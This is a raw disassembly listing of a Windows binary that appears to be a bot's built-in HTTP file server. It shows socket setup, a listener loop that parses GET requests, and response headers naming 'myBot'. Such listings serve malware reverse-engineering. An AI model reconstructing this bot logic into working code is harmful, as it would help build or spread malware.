		dd 57F4458Dh, 0C0446850h, 4068004Ch, 0C7004CC0h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CC03Ch
		dd 4CC03868h, 6AD3FF00h, 84458D44h, 55E85057h, 0A10000CDh
		dd 4CC040h, 890CC483h, 3CA1BC45h, 89004CC0h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 0A5E890B4h, 50023315h, 0C03C35FFh, 99E8004Ch
		dd 90023315h, 0FDE89050h, 8D02330Fh, 8D50D845h,	57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433EDC68h
		dd 96E85700h, 90022513h, 50E8458Dh, 0A1685757h,	8D0040EEh
		dd 5057F445h, 271588E8h, 45899002h, 0E8458DECh,	68575750h
		dd 40EE5Eh, 57F4458Dh, 6EE89050h, 6A022715h, 0F04589FFh
		dd 90D875FFh, 2817CBE8h, 75FF5702h, 1752E8F0h, 57900229h
		dd 90EC75FFh, 291747E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 321CA9E8h, 4035FF02h, 0FF004CC0h,	4435FFD6h
		dd 0FF004CC0h, 3835FFD6h, 0FF004CC0h, 3C35FFD6h, 0FF004CC0h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AB2h, 0C050A359h
		dd 0C359004Ch
dword_40F0D8	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD7C+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 5E85053h, 830000CCh,	0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4C9304h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4C938415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA706h, 8D14C483h, 0FFFD4085h, 83E850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C553E8FFh, 5959FFFFh, 81E89053h
		dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 4CB88900h
		dd 8D0043C2h, 5750EC45h, 933015FFh, 0C63B004Ch,	400BBh
		dd 0CF850F00h, 0FF000000h, 4C929815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA686h, 8D14C483h
		dd 0FFFD4085h, 3E850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4D3E8FFh
		dd 5959FFFFh, 1E89056h,	68022E0Eh, 0FFFEh, 9978E853h, 0A3590000h
		dd 4CC050h, 45896659h, 0EC458DEEh, 5750106Ah, 933015FFh
		dd 0C63B004Ch, 15FF5475h, 4C9298h, 7539F633h, 3D2775E4h
		dd 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh, 60858D50h
		dd 50FFFFFFh, 0FF50B5FFh, 0BE8FFFFh, 83FFFFA6h,	858D14C4h
		dd 0FFFFFD40h, 6A88E850h, 0B5FF0000h, 0FFFFFF54h, 0FFC458E8h
		dd 565959FFh, 0D86E890h, 56A022Eh, 2C15FF57h, 3B004C93h
		dd 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h, 8D004291h
		dd 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4C939815h, 0FFF88300h
		dd 74084589h, 0E47D83E6h, 6A217500h, 40858D00h,	0FFFFFFFDh
		dd 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFA58DE8h
		dd 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A0Ah, 40858D59h
		dd 6AFFFFFDh, 2006800h,	0FF500000h, 15FF0875h, 4C931Ch
		dd 74FFF883h, 0FF565696h, 4C904035h, 50B5FF00h,	0E8FFFFFFh
		dd 0FFFFB6E6h, 0E4685059h, 8D00433Eh, 0FFF94085h, 0E85053FFh
		dd 0CDD8h, 8D1CC483h, 0FFF94085h, 50006AFFh, 0C627E8h
		dd 8D505900h, 0FFF94085h, 75FF50FFh, 5415FF08h,	83004C93h
		dd 840FFFF8h, 0FFFFFF43h, 0C05805FFh, 38E9004Ch, 57FFFFFFh
		dd 939C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC358E8h, 6A59FFh
		dd 0C86E890h
		db 2Eh,	2
word_40F37A	dw 8B55h		; DATA XREF: sub_40BD7C+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 6A4E11E8h, 53569071h, 0E890026Ah
		dd 716A484Eh, 71F4358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A214Eh
		dd 40A16690h, 83004C90h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4C9304h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A99E8h
		dd 7DC08571h, 0E9C38B07h, 545h,	90570A6Ah, 6A6999E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272201Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A240BE8h, 0F8839071h
		dd 0F3840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0C866E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0C857E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 1716DE8h, 0FC08500h,	49F84h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A919CE8h
		dd 0FFF88371h, 476840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 4341A4h, 0E9D3FF50h, 420h, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A612FE8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 6A24BCE8h, 0B9E99071h, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	43419Ch
		dd 0D49DE850h, 858D0000h, 0FFFFFF50h, 43419468h, 0F9E85000h
		dd 830000D1h, 0C08518C4h, 6A560D75h, 417C6816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 417468FFh, 0E8500043h, 0D1D4h
		dd 59C08559h, 6A560A75h, 415C6814h, 61EB0043h, 0FF50858Dh
		dd 5468FFFFh, 50004341h, 0D1B3E8h, 0C0855900h, 560A7559h
		dd 44680D6Ah, 0EB004341h, 50858D40h, 68FFFFFFh,	43413Ch
		dd 0D192E850h, 85590000h, 0A7559C0h, 68106A56h,	434128h
		dd 858D1FEBh, 0FFFFFF50h, 43412468h, 71E85000h,	590000D1h
		dd 7559C085h, 1E6A560Eh, 43410468h, 0D6E95700h,	0BF000002h
		dd 4340FCh, 0FF50858Dh,	5057FFFFh, 0D14BE8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 40F868FFh, 0E8500043h, 0D134h
		dd 59C08559h, 6A560D75h, 40E46813h, 97E90043h, 8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D114h, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 4340E068h, 0FDE85000h, 590000D0h, 7559C085h
		dd 136A560Dh, 4340CC68h, 260E900h, 858D0000h, 0FFFFFF50h
		dd 4340C468h, 0D9E85000h, 590000D0h, 7559C085h,	0BE0A6A34h
		dd 434098h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C234h, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 21AE9h, 50858D00h, 68FFFFFFh, 434090h, 0D08EE850h
		dd 85590000h, 2A7559C0h, 78BE056Ah, 59004340h, 0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C1E8h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43407068h
		dd 4DE85000h, 590000D0h, 0F59C085h, 0B385h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E445h
		dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 404868FFh,	0E8500043h
		dd 0D2A7h, 0FF04858Dh, 0E850FFFFh, 0C721h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C713E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C518h, 8DF475FFh, 0FFFF0485h, 406857FFh, 50004340h
		dd 0C7F9E8h, 44C48300h,	0FF04858Dh, 106AFFFFh, 0FE85056h
		dd 890000CDh, 458DF445h, 458D50ECh, 458D50E4h, 458D50DCh
		dd 458D50D4h, 403468B4h, 0E8500043h, 0C7C6h, 5624C483h
		dd 14681D6Ah, 0E9004340h, 106h,	0FF50858Dh, 0C68FFFFh
		dd 50004340h, 0CF7FE8h,	0C0855900h, 0CC850F59h,	56000000h
		dd 0E068286Ah, 0FF00433Fh, 0D3FF0875h, 8DF475FFh, 0E850B445h
		dd 108h, 1F88359h, 9E850F59h, 39000000h, 0FFFBBCB5h, 562375FFh
		dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh
		dd 0F920B5FFh, 0ABE8FFFFh, 83FFFF9Fh, 4AE814C4h, 83000001h
		dd 850F01F8h, 93h, 68176A56h, 433FC8h, 0FF0875FFh, 0B4458DD3h
		dd 20858D50h, 68FFFFF7h, 433F94h, 0C71CE850h, 0C4830000h
		dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh
		dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FF9F4DE8h
		dd 14C483FFh, 0F720858Dh, 0E850FFFFh, 63CAh, 0BE1005FFh
		dd 0EB59004Ch, 206A562Eh, 433F7068h, 8D1FEB00h,	0FFFF5085h
		dd 0CD2C68FFh, 0E8500042h, 0CE98h, 59C08559h, 6A560D75h
		dd 3F54681Bh, 75FF0043h, 6AD3FF08h, 60858D64h, 56FFFFFDh
		dd 0C3A6E850h, 7D8B0000h, 0CC48308h, 0FC7D3B47h, 0F087D89h
		dd 0FFFB1C8Eh, 0FADCE9FFh, 16AFFFFh, 5B5E5F58h,	4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CC05C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CC05C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA04
		push	dword_4CC05C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA04:				; CODE XREF: ___:0040F9ECj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BC88
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAA0
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FA84
		push	edi
		mov	edi, 400h


loc_40FA4C:				; CODE XREF: ___:0040FA81j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BA60
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CC05C
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 268051Bh
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA4C
		pop	edi


loc_40FA84:				; CODE XREF: ___:0040FA44j
		push	esi
		call	sub_41B9DB
		pop	ecx
		push	dword_4CC05C
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAA0:				; CODE XREF: ___:0040FA3Ej
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAA3	proc near		; DATA XREF: sub_401AC7+2216o
					; sub_40BD7C+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C2A0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4C9304
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4C9384
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FE8E
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43C24C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C9330
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE8E
		push	7FFFFFFFh
		push	edi
		call	dword_4C932C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE8E
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4C93A0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE8E
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FB7A:				; CODE XREF: sub_40FAA3+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4C92EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE89
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBB0:				; CODE XREF: sub_40FAA3+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4C91F0
		test	eax, eax
		jz	loc_40FE74
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC32
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4C9398
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE74
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC04
		lea	edx, [ebp+var_134]


loc_40FBF8:				; CODE XREF: sub_40FAA3+15Fj
		cmp	[edx], eax
		jz	short loc_40FC04
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FBF8


loc_40FC04:				; CODE XREF: sub_40FAA3+14Dj
					; sub_40FAA3+157j
		cmp	ecx, ebx
		jnz	short loc_40FC21
		cmp	ebx, 40h
		jnb	short loc_40FC21
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC21:				; CODE XREF: sub_40FAA3+163j
					; sub_40FAA3+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FE74
		mov	[ebp+var_8], eax
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FC32:				; CODE XREF: sub_40FAA3+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4C931C
		test	eax, eax
		jg	short loc_40FCC5
		push	esi
		call	dword_4C939C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FE74
		lea	eax, [ebp+var_134]


loc_40FC84:				; CODE XREF: sub_40FAA3+1EBj
		cmp	[eax], esi
		jz	short loc_40FC95
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FC84
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: sub_40FAA3+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCB9
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCA3:				; CODE XREF: sub_40FAA3+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCA3


loc_40FCB9:				; CODE XREF: sub_40FAA3+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FCC5:				; CODE XREF: sub_40FAA3+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B960
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FE74


loc_40FCF3:				; CODE XREF: sub_40FAA3+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FD98
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD6C
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B960
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD6C
		mov	eax, offset asc_42CDCC ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C080
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C864
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C620
		add	esp, 10h
		jmp	short loc_40FD83
; ---------------------------------------------------------------------------


loc_40FD6C:				; CODE XREF: sub_40FAA3+27Fj
					; sub_40FAA3+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4341E4 ; "\r\n"
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDB7


loc_40FD83:				; CODE XREF: sub_40FAA3+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FD98:				; CODE XREF: sub_40FAA3+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B960
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FCF3
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FDB7:				; CODE XREF: sub_40FAA3+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE01
		lea	eax, [ebp+var_134]


loc_40FDC3:				; CODE XREF: sub_40FAA3+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FDD4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDC3
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDD4:				; CODE XREF: sub_40FAA3+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FDF8
		lea	eax, [ebp+ecx*4+var_134]


loc_40FDE2:				; CODE XREF: sub_40FAA3+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FDE2


loc_40FDF8:				; CODE XREF: sub_40FAA3+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FE01:				; CODE XREF: sub_40FAA3+318j
		mov	esi, [ebp+var_4]


loc_40FE04:				; CODE XREF: sub_40FAA3+32Fj
					; sub_40FAA3+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FE6D
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B960
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B960
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FE6D
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C93A0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_410080
		add	esp, 14h
		jmp	short loc_40FE74
; ---------------------------------------------------------------------------


loc_40FE6D:				; CODE XREF: sub_40FAA3+369j
					; sub_40FAA3+38Fj
		push	esi
		call	dword_4C939C


loc_40FE74:				; CODE XREF: sub_40FAA3+11Dj
					; sub_40FAA3+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBB0
		jmp	loc_40FB7A
; ---------------------------------------------------------------------------


loc_40FE89:				; CODE XREF: sub_40FAA3+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FE8E:				; CODE XREF: sub_40FAA3+6Aj
					; sub_40FAA3+92j ...
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4341BC
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FED4
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409862
		add	esp, 14h


loc_40FED4:				; CODE XREF: sub_40FAA3+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	edi
		call	dword_4C939C
		push	[ebp+var_254]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAA3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEFE	proc near		; DATA XREF: sub_410080+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C2A0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C006
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40FF63
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF68
; ---------------------------------------------------------------------------


loc_40FF63:				; CODE XREF: sub_40FEFE+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF68:				; CODE XREF: sub_40FEFE+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C006
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 27514C3h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40FFE1
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C006
		add	esp, 24h
		jmp	short loc_410002
; ---------------------------------------------------------------------------


loc_40FFE1:				; CODE XREF: sub_40FEFE+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C006
		add	esp, 28h


loc_410002:				; CODE XREF: sub_40FEFE+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4C9354
		cmp	[ebp+var_A4], edi
		jnz	short loc_410042
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109B2
		pop	ecx
		pop	ecx
		jmp	short loc_41005F
; ---------------------------------------------------------------------------


loc_410042:				; CODE XREF: sub_40FEFE+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi


loc_41004A:				; DATA XREF: ___:00437DD0o
					; ___:00437DE4o
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_410330
		add	esp, 10h


loc_41005F:				; CODE XREF: sub_40FEFE+142j
		push	[ebp+var_44C]
		call	dword_4C939C
		push	[ebp+var_B4]
		call	sub_40B6C9
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_40FEFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410080	proc near		; CODE XREF: sub_40FAA3+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
